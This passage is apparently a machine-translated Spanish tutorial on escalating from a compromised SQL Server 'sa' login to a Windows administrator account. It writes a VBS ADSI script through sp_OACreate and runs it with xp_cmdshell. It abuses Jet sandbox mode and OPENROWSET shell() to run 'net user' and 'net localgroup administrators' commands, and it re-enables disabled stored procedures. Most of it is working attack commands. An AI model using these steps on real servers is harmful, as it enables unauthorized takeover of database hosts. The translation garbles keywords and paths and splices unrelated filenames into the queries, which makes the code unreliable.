SA contraseña para acceder, a menudo por el administrador del servidor o el "anterior" Net.exe voluntad y net1.exe se limitan a utilizar la cuenta de administrador no se puede añadir. Sabemos que VBS en Active Directory (ADSI) parte de un objeto winnt, que sirve para administrar los recursos locales, úselo por lo que no puede confiar en el comando CMD puede agregar un administrador, el código específico de la siguiente manera:
conjunto wsnetwork = CreateObject ("WScript.Network")
os = "WinNT wsnetwork.ComputerName ://"&
Establecer ob = GetObject (os) 'obtener la interfaz ADSI, vinculante
Establecer oe = GetObject (OS & "/ Administradores, grupo") de propiedad, el administrador del grupo
Establecer od = ob.Create ("usuario", "prueba") 'crear un usuario
od.SetPassword "1234" 'Set Password
od.SetInfo "Guardar
Conjunto de = GetObject (OS & "/" prueba, el usuario) «conseguir que el usuario
os oe.add & "/ test"
El código anterior para salvar 1.vbs, a continuación, ejecutar el comando de la "1.vbs cscript, por lo que el sistema añadirá un sistema llamado de la prueba, la contraseña de usuario es 1234. aplicación específica del código en el Analizador de consultas de la siguiente manera:
int declare @ o, f @ int, @ int t, int @ ret
sp_OACreate exec 'Scripting.FileSystemObject', @ o fuera
sp_OAMethod exec @ o, 'CreateTextFile', @ f a cabo, "c: 1.vbs ', 1
exec @ ret = sp_OAMethod @ f, 'WriteLine', NULL, 'set wsnetwork = CreateObject
("WScript.Network") '
exec @ ret = sp_OAMethod @ f, 'WriteLine', NULL, 'os = "WinNT wsnetwork ://"&.
ComputerName '
exec @ ret = sp_OAMethod @ f, 'WriteLine', NULL, 'Set ob = GetObject (os) "
exec @ ret = sp_OAMethod @ f, 'WriteLine', NULL, 'oe Set = GetObject
(Os & "/ Administradores, grupo") '
exec @ ret = sp_OAMethod @ f, 'WriteLine', NULL, 'od Set = ob.Create
("Usuario", "prueba") '
exec @ ret = sp_OAMethod @ f, 'WriteLine', NULL, 'od.SetPassword "1234"'
exec @ ret = sp_OAMethod @ f, 'WriteLine', NULL, 'od.SetInfo'
exec @ ret = sp_OAMethod @ f, 'WriteLine', NULL, 'Set of = GetObject
(Os & "/" de prueba, el usuario) "
exec @ ret = sp_OAMethod @ f, 'WriteLine', NULL, 'os oe.add & "/" prueba "
A través de la declaración anterior, a continuación, ejecutar la siguiente línea de código, esta línea debe separar la aplicación, no con la aplicación de las anteriores juntas, o que se le pida "c: 1.vbs otro programa se está ejecutando" y no pudo agregar el usuario con éxito :
master ejecutivo .. xp_cmdshell 'cscript c: 1.vbs'
Si el usuario del sistema no tiene agregado correctamente, puede deberse a que la contraseña del usuario del sistema 1234 es demasiado simple, no cumple con el servidor de la directiva de contraseñas complejas, tenga en cuenta la configuración más complicada, y luego probar. También puede usar echo para escribir 1.vbs código, el formato de código es:
echo ejecutivo amo .. xp_cmdshell 'set wsnetwork = CreateObject ("WScript.Network")
1.vbs '
Sin embargo, no sé por qué todos los personajes con "&" en líneas de comandos no puede escribir 1.vbs, interesados en lo que un amigo puede tratar de resolver.
Utilización de arena jet modelo de tabla se pueden resolver xp_cmdshell otros procedimientos almacenados y pertinente molestia biblioteca de vínculos dinámicos. Por razones de seguridad, el sistema no por defecto para abrir el modo de recinto de seguridad, que requiere xp_regwrite modo de recinto abierto:
master.dbo.xp_regwrite Exec 'HKEY_LOCAL_MACHINE', 'SOFTWAREMicrosoftJet4.0
Motores ',' SandBoxMode "," REG_DWORD ", 1
A continuación, ejecute el comando mesa de arena, el sistema agrega un usuario llamado prueba, la contraseña para el 1234 los usuarios:
generate.sh conf seleccione bin copia de seguridad de datos de configuración eshow_sitemap.html registro tmp maint svn sitemap.html de OPENROWSET ('Microsoft.Jet.OLEDB.4.0', ', base de datos = c: windows
system32iasias.mdb "," concha de selección ("cmd.exe / c net user prueba de 1234 / añadir") ')
generate.sh conf seleccione bin copia de seguridad de datos de configuración eshow_sitemap.html registro tmp maint svn sitemap.html de OPENROWSET ('Microsoft.Jet.OLEDB.4.0', ', base de datos = c: windows
system32iasias.mdb "," concha de selección ("cmd.exe / net localgroup c
los administradores de prueba / añadir ") ')
Los diferentes sistemas operativos, el camino no es la misma necesidad de realizar cambios en la situación:
NT/2K: c: winntsystem32
XP/2003: c: WindowsSystem32
Otro defecto de Microsoft SQL Server2005, algunos de los procedimiento almacenado se cierra y se requiere un comando para abrir:
Abrir xp_cmdshell:
EXEC sp_configure 'show opciones avanzadas', 1; RECONFIGURE; EXEC sp_configure
'Xp_cmdshell', 1; RECONFIGURE;
OPENROWSET Abrir ":
EXEC sp_configure 'show opciones avanzadas', 1; RECONFIGURE; sp_configure ejecutivo
«Ad hoc de consultas distribuidas, 1; RECONFIGURE;
sp_OACreate Abrir ":
EXEC sp_configure 'show opciones avanzadas', 1; RECONFIGURE; sp ejecutivo